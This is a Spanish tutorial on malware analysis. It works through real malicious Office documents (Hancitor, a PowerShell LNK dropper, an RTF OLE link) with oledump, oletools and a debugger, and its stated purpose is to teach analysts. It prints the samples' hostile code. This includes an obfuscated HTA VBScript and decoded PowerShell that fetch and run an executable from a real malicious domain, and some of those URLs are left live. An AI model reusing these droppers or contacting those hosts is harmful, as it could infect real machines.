Este artículo va dirigido a todos aquellos que quieren iniciarse en el mundo del análisis de malware. Vamos a ver una serie de ejemplos de diferentes tipos de malware ofimáticos y de scripting y como analizarlos.

Todo ello lo separaré en diferentes partes (como las pelis):

Parte 1:

Lo que vamos a ver en esta es como tratar documentos de Office, muchas veces sin ni siquiera abrirlos con el software.
Tenemos todos estos para elegir:

$ md5sum *
f78b7325a69e85e260dc3e6341f06fd8 76SagePay.doc
9690051ee1cb4c8fd3462f0aaeb1ab54 9690051ee1cb4c8fd3462f0aaeb1ab54-warehouse.docx
cb1c08fac545b7c589d4b23087b43430 cb1c08fac545b7c589d4b23087b43430-SWIFT MESSAGE.docx
951218b2d843a85da4d1737619b3ed82 ddaf423d782182c08f30c0502ded4cb673f8b0191d2cfec4ba9d3fa4a623f172-scan0145.doc
2b9bead7066d932743ca82e2e90e482a ETER_Richiesta.doc
aebc8019332305ce1ddf31f07915b55e fdbd35714e2f3b23ab879c69a495d5799b4c17cbfcc4ff39ccdec8772c2545e9-0001.doc
71aad93dfbd1c4b2854a697405675c51 Locky-InvoiceEQYB4962800.doc
33e7ad1ae819a8f47c6f532ae2392984 Malware-DDE-3e7ad1ae819a8f47c6f532ae2392984.doc
debc3aa963c483d06ba840174c0cd8aa NanoCore-Balance Statement.docx
9b4d54e1bed9b9b848a64c3cf9dca434 Neutrino-CFE-FACTURA41568.doc
868aa01277473cc6139cdd0b128e6881 SB23 - 07.11.2017.doc
9e62a6632eadbc2cffd5d28a9e415026 statement_603755.doc

Vamos a utilizar principalmente 2 utilidades Oletools y Oledump:

Oletools:

/oletools-0.41/oletools $ ls
cStringIO __init__.py olebrowse.py olevba.py README.rst traceback doc LICENSE.txt oleid.py pyxswf.py rtfobj.py zipfile email logging olemeta.py re struct ezhexviewer.py math oletimes.py README.html thirdparty

Oledump:

$ python oledump.py --version
oledump.py 0.0.27

DidierStevensSuite $ python oledump.py -h
Usage: oledump.py [options] [file]
Analyze OLE files (Compound Binary Files)

Options:
--version show program's version number and exit
-h, --help show this help message and exit
-m, --man Print manual
-s SELECT, --select=SELECT
select item nr for dumping (a for all)
-d, --dump perform dump
-x, --hexdump perform hex dump
-a, --asciidump perform ascii dump
-v, --vbadecompress VBA decompression
--vbadecompresscorrupt
VBA decompression, display beginning if corrupted
-r, --raw read raw file (use with options -v or -p
-e, --extract extract OLE embedded file
-i, --info print extra info for selected item
-p PLUGINS, --plugins=PLUGINS
.....
............

Interesa ver las 2, creedme.

$ ./olevba.py statement_603755.doc > statement_603755.Salida.Oletools.txt

La salida tiene este aspecto:

Oletools

Es el código de la macro de VBA (Visual Basic for Applications), no confundir con VBS (Visual Basic Script), que no es lo mismo. Si coges el código, tal cual, de uno y lo pegas en el otro, ¡NO FUNCIONA!

Lo mejor es siempre echarle un vistazo rápido ya que verás muchas cosas, eso lo da la práctica.

Si tecleamos este comando:

$ grep -i -A 2 "Public Declare" statement_603755.Salida.Oletools.txt | grep -v ^\'

Public Declare Function autosomal Lib "Kernel32" Alias _
"CreateTimerQueueTimer" (comptes As Any, ByVal saponaria As Any, ByVal sully As Any, ByVal closepacked As Any, ByVal ayrshire As Any, ByVal stateoftheart As Any, ByVal laudator As Any) As Long
--

Public Declare Function jauntily _
Lib "Ntdll " Alias _
"NtWriteVirtualMemory" (ByVal carpetbag As Any, ByVal exploit As Any, ByVal electrode As Any, ByVal mantoman As Any, ByVal baguet As Any) As Long
--

``
Public Declare Function ballast Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal backwardation As Any, tyrannid As Any, auro As Any, glomerular As Any) As Long
--

Public Declare PtrSafe Function gossamer Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal melic As Any, agape As Any, bellarmine As Any, earl As Any) As LongPtr
Public Declare PtrSafe Function autosomal Lib "Kernel32" Alias "CreateTimerQueueTimer" (surmise As Any, ByVal dietetic As Any, ByVal luscinia As Any, ByVal botryoid As Any, ByVal grus As Any, ByVal reject As Any, ByVal coed As Any) As Long
--
Public Declare Function slyness _ Lib "Ntdll " Alias _ "NtAllocateVirtualMemory" (predict As Long, nonobservance As Long, ByVal drapery As Long, unpretentiouslyByVal As Long, abulic As Long, ByVal biauricular As Long) As Long
--
Public Declare Function byword Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal battles As Any, impolicy As Any, fatty As Any, dukes As Any) As Long
--
Public Declare PtrSafe Function abet Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal caesura As Any, bluecollar As Any, lachnolaimus As Any, beautifully As Any) As LongPtr
Public Declare PtrSafe Function jauntily _
Lib "ntdll " Alias _ "NtWriteVirtualMemory" (ByVal adnexa As Any, ByVal cockcrowing As Any, ByVal denying As Any, ByVal overenthusiastic As Any, ByVal cladorhyncus As Any) As LongPtr
--
Public Declare PtrSafe Function slyness _ Lib "ntdll " Alias _ "NtAllocateVirtualMemory" (castor As LongPtr, platoon As LongPtr, ByVal hindi As LongPtr, altricialByVal As LongPtr, beatific As LongPtr, ByVal trichechidae As LongPtr) As LongPtr

Como podeis ver, tenemos un muchas de funciones de la API de Windows.

$ grep -i -A 2 "Public Declare" statement_603755.Salida.Oletools.txt | grep -v ^\' | awk -F"Alias " '{print $2}' | awk '{print $1}' | grep ^\"

"SleepConditionVariableSRW" "SleepConditionVariableSRW" "CreateTimerQueueTimer" "GetOverlappedResult" "GetOverlappedResult"

$ grep -i -A 2 "Public Declare" statement_603755.Salida.Oletools.txt | grep -v ^\' | grep ^\" | awk '{print $1}'

"CreateTimerQueueTimer" "NtWriteVirtualMemory" "NtAllocateVirtualMemory" "NtWriteVirtualMemory" "NtAllocateVirtualMemory"

Con esto, vemos que algo va a ocurrir con procesos e inyecciones en memoria. Para saber eso no te queda otra que saber lo que hace cada función de la API, si no lo sabes pregunta a Microsoft o Google (que todo lo sabe :-D)

A este tipo de documentos lo llaman Maldoc y/o Hancitor, un tipo de malware.

Y de donde sacan su contenido, es decir, ¿lo que van a inyectar? Nos vamos a la otra herramienta, la de Didier Stevens (recomiendo leer su blog y ver sus videos (son buenísimos!!) - )

$ python ~DidierStevensSuite/oledump.py statement_603755.doc
1: 114 '\x01CompObj'
2: 4096 '\x05DocumentSummaryInformation'
3: 4096 '\x05SummaryInformation'
4: 7755 '1Table'
5: 29032 'Data'
6: 620 'Macros/PROJECT'
7: 152 'Macros/PROJECTwm'
8: M 13875 'Macros/VBA/ThisDocument'
9: 9763 'Macros/VBA/_VBA_PROJECT'
10: 7925 'Macros/VBA/__SRP_0'
11: 1459 'Macros/VBA/__SRP_1'
12: 598 'Macros/VBA/__SRP_2'
13: 106 'Macros/VBA/__SRP_3'
14: 622 'Macros/VBA/__SRP_4'
15: 1422 'Macros/VBA/__SRP_5'
16: 290 'Macros/VBA/__SRP_6'
17: 5879 'Macros/VBA/__SRP_7'
18: 360 'Macros/VBA/__SRP_8'
19: 142 'Macros/VBA/__SRP_9'
20: 1480 'Macros/VBA/__SRP_a'
21: 298 'Macros/VBA/__SRP_b'
22: 951 'Macros/VBA/dir'
23: M 5304 'Macros/VBA/dismay'
24: m 1555 'Macros/VBA/fibrocalcific'
25: M 4447 'Macros/VBA/pascal'
26: M 9780 'Macros/VBA/pollitra'
27: 97 'Macros/fibrocalcific/\x01CompObj'
28: 293 'Macros/fibrocalcific/\x03VBFrame'
29: 139 'Macros/fibrocalcific/f'
30: 16500 'Macros/fibrocalcific/o'
31: 85438 'WordDocument'

La shellcode que se inyecta en el proceso está aquí.

Shellcode Maldoc

Nos llama la atención las siguientes líneas:

29: 139 'Macros/fibrocalcific/f'
30: 16500 'Macros/fibrocalcific/o'

Pero aún no sabemos las URL y demás (al final es lo que se suele hacer en estos casos) y el tiempo corre en nuestra contra. Ejecutas el documento de Word, crea el proceso hijo “svchost.exe” con el contenido de la shellcode, que suele ser la descarga del malware final y lo ejecuta. ¿Pero cuál?
Para obtener URL, lo puedes hacer a mano (grep -E "https?://" ....) o bien utilizar una utilidad, otra vez, de Didier Stevens (re-search.py).

$ python re-search.py -f n url dump-pid-1788.dmp | sed ‘s/http:\/\//\n/http:\/\/g’

Ahí los teneis, separados por pipes. Si bajamos un poco más vemos:

re-search.py - Didier Stevens

Eso sí, ojo con poner como posibles candidatos los que descarguen ficheros 1, 2 ó 3, porque habría falsos positivos:

O puedes usar radare2 (sobre gustos, colores, y radare2 tiene unos colores muy bonitos :-D):

Radare2

Y con esto tendríamos lo que descargaría este primer documento malicioso de la serie, Hancitor.

Otra opción, podría ser extraer la shellcode directamente y analizarlo con radare2 o windbg, pero eso lo dejaré para otro momento.

Parte 2

Vamos a analizar otro, esta vez: 868aa01277473cc6139cdd0b128e6881 SB23 - 07.11.2017.doc

De nuevo, utilizaremos “Oledump” y extraemos el contenido de ese objeto OLE.

$ python oledump.py SB23\ -\ 07.11.2017.doc
A: word/embeddings/oleObject1.bin
A1: O 2339 '\x01Ole10Native'
A2: 6 '\x03ObjInfo'

Vemos que no es un ejecutable:

$ python oledump.py -s A1 -i SB23\ -\ 07.11.2017.doc
String 1: 7.lnk
String 2: E:\tmp\doc_package\doc2\7.lnk
String 3: C:\Users\1\AppData\Local\Temp\7.lnk
Size embedded file: 2099
MD5 embedded file: 68b6e785bc3e8fb5685980e48623b251
MAGIC: 4c000000 L...
`Header: 4c0000000114020000000000c0000000 L........``

No comienza por MZ. Dumpeamos el contenido y miramos las cadenas o "strings".

$ python oledump.py -s A1 -d SB23\ -\ 07.11.2017.doc > SB23\ -\ 07.11.2017.txt
``
$ strings SB23\ -\ 07.11.2017.txt
7.lnk
E:\tmp\doc_package\doc2\7.lnk
C:\Users\1\AppData\Local\Temp\7.lnk
/C:\
Windows
System32
WINDOW~1
v1.0
powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
admin-ts
1SPS0
1SPS
1SPS
sf"m
1SPS
jc(=

Vemos que la cosa va de Powershell, o sea, en algún momento creará un proceso y lo ejecutará con una serie de parámetros, eso parece.

$ python oledump.py -s A1 SB23\ -\ 07.11.2017.doc | awk '{print $2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17}' | sed 's/00//g' | sed 's/ //g' | grep -v ^$ | tr '\n' ' ' | sed 's/ //g' | awk -F\. '{print $1}'
`1F0902372E6C6E6B453A5C746D705C646F635F7061636B6167655C646F63325C372E6C6E6B0 324433A5C55736572735C315C417070446174615C4C6F63616C5C54656D705C372E6C6E6B330 84C011402C046B308207C7FDD821404CA017C7FDD821404CA01B0C94FE82304CA013A0707F10 1141F50E04FD020EA3A6910A2D8082B30309D192F433A5C5231D84A2E0C1057696E646F77733 C0804EFBEEE3A851AD84A2E0C2A77010157696E646F7773165631D84AED0B1053797374656D3 3323E0804EFBEEE3A861AD84AED0B2AC4050153797374656D3332186831EE3AA62C1057494E4 44F577E31500804EFBEEE3AA62CEE3AA62C2A48090157696E646F7773506F7765725368656C6 C184A317E4ABD121076312E30360804EFBEEE3AA62C7E4ABD122A49090176312E301468323A0 7EE3AEB0C20706F7765727368656C6C2E6578654A0804EFBEED3A24BEED3A24BE2A257B01706 F7765727368656C6C2E6578651E681C011C2D671103870F0E1A10433A5C57696E646F77735C5 3797374656D33325C57696E646F7773506F7765725368656C6C5C76312E305C706F776572736 8656C6C2E6578652D2553797374656D526F6F74255C53797374656D33325C57696E646F77735 06F7765725368656C6C5C76312E305CAF2D6E6F70202D772068696464656E202D63202224633 D27333638372F67726F2E74726168636F63652F2F3A70747468273B2461723D24632E546F436 86172417272617928293B5B61727261795D3A3A5265766572736528246172293B2462203D2D6 A6F696E202461723B244458203D2028286E65772D6F626A6563742053797374656D2E6E65742 E776562636C69656E74292E646F776E6C6F6164737472696E6728246229293B4945582024445 8221005A025D51C0BA0774EC11AE7025D4EB7442EB1AE5198B7D56003A05861646D696E2D747 33A1FC90B13BFF342AFCC72B1A3F0837BC017ACA36655E711BC5F50569235B33A1FC90B13BFF 342AFCC72B1A3F0837BC017ACA36655E711BC5F50569235B3740209A0B53153505330F125B7E F471A10A5F102608C9EEBAC310A1F0F706F7765727368656C6C2E65786529041F0C4170706C6 9636174696F6E150F40722B831404CA01150C153A07150E40C16BE92304CA018931535053E28 A5846BC4C3843BBFC139326986DCE6D041F2D532D312D352D32312D323935363630343631332 D35363333333637352D323339383237303536382D313030388931535053ED30BDDA438947A7F 8D013A47366226D641F2D76312E302028433A5C57696E646F77735C53797374656D33325C576 96E646F7773506F7765725368656C6C29A131535053A66A63283D95D211B5D6C04FD918D0851 E1F3A433A5C57696E646F77735C53797374656D33325C57696E646F7773506F7765725368656 C6C5C76312E305C706F7765727368656C6C2E657865CC02A007F5502C015019100C309001546 5726D696E616C3201013204808080808080808080C0C0C0808080FFFFFFFFFFFFFFFFFFFFFFF F23433A5C55736572735C315C417070446174615C4C6F63616C5C54656D705C372E6C6E6B053 72E6C6E6B1D453A5C746D705C646F635F7061636B6167655C646F63325C372E6C6E6B`
Tenemos un conversor de HEX a ASCII online para ver que es todo eso.

Conversor de HEX a ASCII

Fijaros en lo que os decía, primer vistazo, veo un "http://" al revés.

$c='3687/gro.trahcoce//:ptth';

Pues ya está claro, ¿verdad?

$ echo "3687/gro.trahcoce//:ptth"| rev
hXXp://ecochart.org/7863

He cambiado el http por hXXp por si acaso alguien le da por acceder :P

Y listo, ya tenemos donde se encuentra el malware. Simpre que veais powershell, hay una creación del proceso para ejecutarlo después.

Otra forma, pero esta vez usando algún debugger.

Abres el documento:

Análisis de malware en doc con debugger

Lo "atacheas" (como suena eso...) al depurador que más te guste.

WinDbg

Ponéis 2 breakpoints:

Breakpoints Debbuger

bp CreateProcessA
bp CreateProcessW
g

Esa “g” es para continuar. Como en la imagen se veía que hay que pulsar “doble click” en ella, le hacemos caso y nos avisa de lo siguiente:

Ejecucción en Debugger

Aceptamos y nuestro debugger se para:

Paro inesperado debugger Malware

du poi (esp + 8)

En este caso, ha utilizado la API CreateProcessW y como podéis ver, ahí tenemos el comando de Powershell que va a lanzar.

Parte 3

Vamos con el siguiente.

$ md5sum SKMBT_C20171116424367.doc
8f108b41ca0f42b790cd66cd500e1b5b SKMBT_C20171116424367.doc

Primer vistazo, las strings, este es siempre el primer paso ¿Por qué? Porque en este caso u otros, podrías evitar tener que ejecutar otras herramientas como Oledump u Oletools.

$ cat SKMBT_C20171116424367.doc
{\rtfH2(11-13),Huangpu International Machinery Street No.8 Zhongshan East Road, Huangpu District, Guangzhou, China
(Tel):020-32381186
Skype:gzhuiming08 Mobile :13751750901?Ms .Dollar)

QUOTATION TO: POLYPOL d.o.o. Date:02.11.2017 Item HM-CODE Part name Model QTY Unite Price/USD Amount/USD 1 HM-G32005 COUPLING 16A 4 8.93 35.72 2 HM-G32015 COUPLING 50A 6 9.12 54.72 3 HM-G32016 COUPLING 50AS 6 9.12 54.72
{\object\objautlink\objupdate\objw1268\objh6397{\*\objdata 4b3ad2380200000019000000765961466e57476e35476f4864537137566779644a434d5a0000 00000000000000000c0000d0cf11e0a1b11ae1000000000000000000000000000000003e0003 00feff0900060000000000000000000000010000000100000000000000001000000200000001 000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffdfffffffefffffffe ffffff04000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000160005 00ffffffffffffffff010000000003000000000000c000000000000046000000000000000000 00000000407334715ed30103000000c00200000000000001004f006c00650000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000a000201ffffffffffffffffffffffff0000000000000000000000 0000000000000000000000000000000000000000000000000000000000a00200000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000ffffffffffffffffff ffffff0000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000ffffffffffffffffffffffff000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000100000002000000030000 000400000005000000060000000700000008000000090000000a000000feffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffff01000002b7c086196f441a280000000000000000000000008e000000e0c9ea 79f9bace118c8200aa004ba90b76000000200068007400740070003a002f002f006a006f0073 0065007000680069006f0073006500700068002e0063006f006d002f00740069006d00610079 0061002f006800740061006400720069006c006c0073002e0068007400610020000000795881 f43b1d7f48af2c825dc485276300000000852b0000ffffffff00000000000000000000000000 000000c60100004a004f0034004a0066007500610033005200450077004c0066007500690033 004a00590043006a006a00750049006800540063003400660035003400550064006800510067 006c0037004d003400460070004b00510048004a0067006d0072004a00690073006400350059 006d007400780063004300460048006b0079007a0050005300610033007a0077003000420062 00380061006a005600510038005a003500410036006e006c0067006100520052007700450072 00390034003400760046004700690042005400570059006a00520059006d007200500041006f 00420068005700650058006e0053006700540076007100710054006400730063004600350045 0038006c00780034007900700037006500550078004600570055004a0074005500730048004c 00410065006c00580067006d0066004a0036006300720078004f003200580074006700650033 00620063006d007600760047005300420054004f006d00350068006b00410044003100790079 00660072004b00410070007a00750045007600740036006100620050006b0073004a00520047 006500660050006900550039006c00690034004c0044006f007700700037006b00300070007a 00320000007b67c317fc32b12410bdd520d930011775165e2806dbc001aa980c1a0000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 00000000004c06c52e00000000}}}

Os indico la parte que nos interesa y lo convierto de hexadecimal a ascii (hextoascii es un simple script que tengo para eso):

$ which hextoascii /usr/local/bin/hextoascii

$ which hextoascii | xargs cat

#!/usr/bin/perl
#script que pasa una cadena en hexadecimal a ascii, por ej. 41414141 a AAAA - by Rafa

while (<>) { $string = $_; $string =~ m/(\d\d)/g; print pack('H*', $string); print "\n"; }

Muy útil como veis, es como el comando base64 para decodificar strings con el "-d", lo veremos más adelante...

$ echo "01000002b7c086196f441a280000000000000000000000008e000000e0c9ea79f9bace118c8 200aa004ba90b76000000200068007400740070003a002f002f006a006f00730065007000680 069006f0073006500700068002e0063006f006d002f00740069006d006100790061002f00680 0740061006400720069006c006c0073002e0068007400610020000000795881f43b1d7f48af2 c825dc485276300000000852b0000ffffffff00000000000000000000000000000000c601000 04a004f0034004a0066007500610033005200450077004c0066007500690033004a005900430 06a006a00750049006800540063003400660035003400550064006800510067006c0037004d0 03400460070004b00510048004a0067006d0072004a00690073006400350059006d007400780 063004300460048006b0079007a0050005300610033007a007700300042006200380061006a0 05600510038005a003500410036006e006c00670061005200520077004500720039003400340 0760046004700690042005400570059006a00520059006d007200500041006f0042006800570 0650058006e00530067005400760071007100540064007300630046003500450038006c00780 034007900700037006500550078004600570055004a0074005500730048004c00410065006c0 0580067006d0066004a0036006300720078004f00320058007400670065003300620063006d0 07600760047005300420054004f006d00350068006b0041004400310079007900660072004b0 0410070007a00750045007600740036006100620050006b0073004a005200470065006600500 06900550039006c00690034004c0044006f007700700037006b00300070007a00320000007b6 7c317fc32b12410bdd520d930011775165e2806dbc001aa980c1a" | hextoascii
���oD( ���y������K�
v hXXp://josephioseph .com/timaya/htadrills.hta
yX��;H�,�]ą'c�+�����JO4Jfua3REwLfui3JYCjjuIhTc4f54UdhQgl7M4FpKQHJgmr Jisd5YmtxcCFHkyzPSa3zw0Bb8ajVQ8Z5A6nlgaRRwEr944vFGiBTWYjRYmrPAoBhWeXnSgTvqqT dscF5E8lx4yp7eUxFWUJtUsHLAelXgmfJ6crxO2Xtge3bcmvvGSBTOm5hkAD1yyfrKApzuEvt6ab PksJRGefPiU9li4LDowp7k0pz2{g��2�$�� �0u^( �

Bien, ya tenemos el malware, lo descargamos:

IMPORTANTE: Recordar que el enlace se separa en el post para que no sea enlazable

$ wget hXXp://josephioseph . com/timaya/htadrills.hta
--……….. -- hXXp://josephioseph . com/timaya/htadrills.hta
Resolviendo josephioseph.com (josephioseph.com)... 192.185.16.72
Conectando con josephioseph.com (josephioseph.com)[192.185.16.72]:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 2331 (2,3K) [text/plain]
Grabando a: “htadrills.hta”

htadrills.hta 100%[=====================>] 2,28K --.-KB/s en 0,004s

... (639 KB/s) - “htadrills.hta” guardado [2331/2331]

Y visualizamos su contenido:

$ cat htadrills.hta
<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<html>
<body>
<ScrIPt TYpE="TEXt/vBsCRiPT">
diM IhQUcstSxBSK : dIm XjOCnZuPqBPN : SET IhQUcstSxBSK = CREaTeOBjECT ( Chr(&H57) & StrReverse(Chr(&H53)) & StrReverse(ChrW(&H43)) & StrReverse(Chr(&H72)) & Chr(&H69) & Chr(&H50) & StrReverse(ChrW(&H74)) & StrReverse(ChrW(&H2E)) & Chr(&H73) & Chr(&H48) & StrReverse(Chr(&H65)) & Chr(&H6C) & StrReverse(ChrW(&H4C)) ) : XjOCnZuPqBPN = "
POWErSHeLL.eXe -Ex BYPAss -NOP -W HIDDen -Ec
IABTAEUAdAAtAEMAbwBuAFQAZQBOAHQAIAAtAFYAYQBMAHUAZQAgACgAbgBlAFcALQBPAEIASgBl
AEMAdAAgAFMAeQBTAFQAZQBNAC4AbgBFAFQALgB3AGUAYgBjAEwASQBFAG4AVAApAC4AZABPAFcA
bgBsAE8AYQBkAGQAYQBUAGEAKAAgAB0gIABoAHQAdABwADoALwAvAGoAbwBzAGUAcABoAGkAbwBz
AGUAcABoAC4AYwBvAG0ALwB0AGkAbQBhAHkAYQAvAGQAcgBpAGwAbABzAC4AZQB4AGUAIAAdICAA
KQAgAC0ARQBOAGMATwBEAGkATgBnACAAYgB5AHQAZQAgAC0AUABhAHQAaAAgAB0gJABlAE4AVgA6
AEEAcABwAEQAQQBUAGEAXABkAHIAaQBsAGwALgBlAHgAZQAdICAAOwAgAFMAVABBAFIAVAAgAB0
JABlAG4AdgA6AGEAUABwAEQAYQBUAGEAXABkAHIAaQBsAGwALgBlAHgAZQAdIA== "

: IhQUcstSxBSK.rUN ChR ( 34 ) & IhQUcstSxBSK.ExpANDEnViRonMENTSTrINGS( Chr(&H25) & ChrW(&H73) & Chr(&H79) & ChrW(&H53) & Chr(&H54) & StrReverse(ChrW(&H65)) & Chr(&H6D) & Chr(&H52) & Chr(&H6F) & ChrW(&H4F) & Chr(&H74) & Chr(&H25) ) & ChrW(&H5C) & StrReverse(Chr(&H73)) & StrReverse(Chr(&H59)) & ChrW(&H53) & StrReverse(Chr(&H54)) & StrReverse(Chr(&H65)) & Chr(&H6D) & StrReverse(ChrW(&H33)) & StrReverse(Chr(&H32)) & StrReverse(Chr(&H5C)) & StrReverse(ChrW(&H57)) & Chr(&H49) & StrReverse(Chr(&H6E)) & ChrW(&H64) & StrReverse(ChrW(&H6F)) & Chr(&H77) & Chr(&H53) & StrReverse(Chr(&H50)) & StrReverse(ChrW(&H6F)) & StrReverse(Chr(&H77)) & ChrW(&H45) & StrReverse(ChrW(&H72)) & StrReverse(Chr(&H73)) & StrReverse(ChrW(&H68)) & StrReverse(Chr(&H45)) & Chr(&H4C) & StrReverse(Chr(&H6C)) & Chr(&H5C) & ChrW(&H76) & Chr(&H31) & StrReverse(ChrW(&H2E)) & StrReverse(ChrW(&H30)) & StrReverse(Chr(&H5C)) & StrReverse(Chr(&H50)) & StrReverse(Chr(&H6F)) & Chr(&H77) & StrReverse(Chr(&H65)) & StrReverse(Chr(&H72)) & Chr(&H73) & StrReverse(Chr(&H68)) & StrReverse(ChrW(&H45)) & ChrW(&H4C) & StrReverse(Chr(&H6C)) & ChrW(&H2E) & Chr(&H65) & StrReverse(Chr(&H58)) & ChrW(&H65) & CHr ( 34 ) & cHr ( 32 ) & Chr ( 34 ) & XjOCnZuPqBPN & CHr ( 34 ) , 0 : SEt IhQUcstSxBSK = nOTHINg selF.cLose
</script>

</body>
</html>

De nuevo, tenemos ejecuciones de Powershell (lo que implicaría Debugger + Breakpoint CreateProcess[A|W] -> continuar -> esperar y ver el comando que va a ejecutar con Powershell) y una cadena ¿en base64? Sí

IMPORTANTE: Recordar que el enlace se separa en el post para que no sea enlazable

$ echo UAdAAtAEMAbwBuAFQAZQBOAHQAIAAtAFYAYQBMAHUAZQAgACgAbgBlAFcALQBPAEIASgBlAEMAdA AgAFMAeQBTAFQAZQBNAC4AbgBFAFQALgB3AGUAYgBjAEwASQBFAG4AVAApAC4AZABPAFcAbgBsAE 8AYQBkAGQAYQBUAGEAKAAgAB0gIABoAHQAdABwADoALwAvAGoAbwBzAGUAcABoAGkAbwBzAGUAcA BoAC4AYwBvAG0ALwB0AGkAbQBhAHkAYQAvAGQAcgBpAGwAbABzAC4AZQB4AGUAIAAdICAAKQAgAC 0ARQBOAGMATwBEAGkATgBnACAAYgB5AHQAZQAgAC0AUABhAHQAaAAgAB0gJABlAE4AVgA6AEEAcA BwAEQAQQBUAGEAXABkAHIAaQBsAGwALgBlAHgAZQAdICAAOwAgAFMAVABBAFIAVAAgAB0gJABlAG 4AdgA6AGEAUABwAEQAYQBUAGEAXABkAHIAaQBsAGwALgBlAHgAZQAdIA==" | base64 -d
SEt-ConTeNt -VaLue (neW-OBJeCt SySTeM.nET.webcLIEnT).dOWnlOaddaTa( hXXp://josephioseph . com/timaya/drills.exe ) -ENcODiNg byte -Path $eNV:AppDATa\drill.exe ; START $env:aPpDaTa\drill.exe

Y aparece el segundo malware, esta vez el exe final, que se guardara en %AppData% y se ejecutará.

Casualmente, este servidor lista el contenido del directorio:

Index Of Timaya

Y podemos descargar todo para analizarlo, por si se trata de muestras diferentes.

$ curl -s http://josephioseph.com/timaya/ | awk -F"a href=\"" '{print $2}' | grep -v "Parent Directory" | grep -v ^$ | awk -F\"
'{print $1}' | awk '{system("wget hXXp://josephioseph. com/timaya/"$1)}
–….-- hXXp://josephioseph. com/timaya/drills.exe
Resolviendo josephioseph.com (josephioseph .com)... 192.185.16.72
Conectando con josephioseph .com (josephioseph .com)``[192.185.16.72]:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 704512 (688K) [application/x-msdownload]
Grabando a: “drills.exe”
`drills.exe 100%[=====================>] 688,00K 245KB/s en 2,8s`
…. (245 KB/s) - “drills.exe” guardado [704512/704512]
`–….-- http://josephioseph.com/timaya/ecmk.exe` `Resolviendo josephioseph.com (josephioseph.com)... 192.185.16.72` `Conectando con josephioseph.com (josephioseph.com)[192.185.16.72]:80... conectado.` `Petición HTTP enviada, esperando respuesta... 200 OK` `Longitud: 1359360 (1,3M) [application/x-msdownload]` `Grabando a: “ecmk.exe”`
ecmk.exe 100%[=====================>] 1,30M 395KB/s en 3,4s
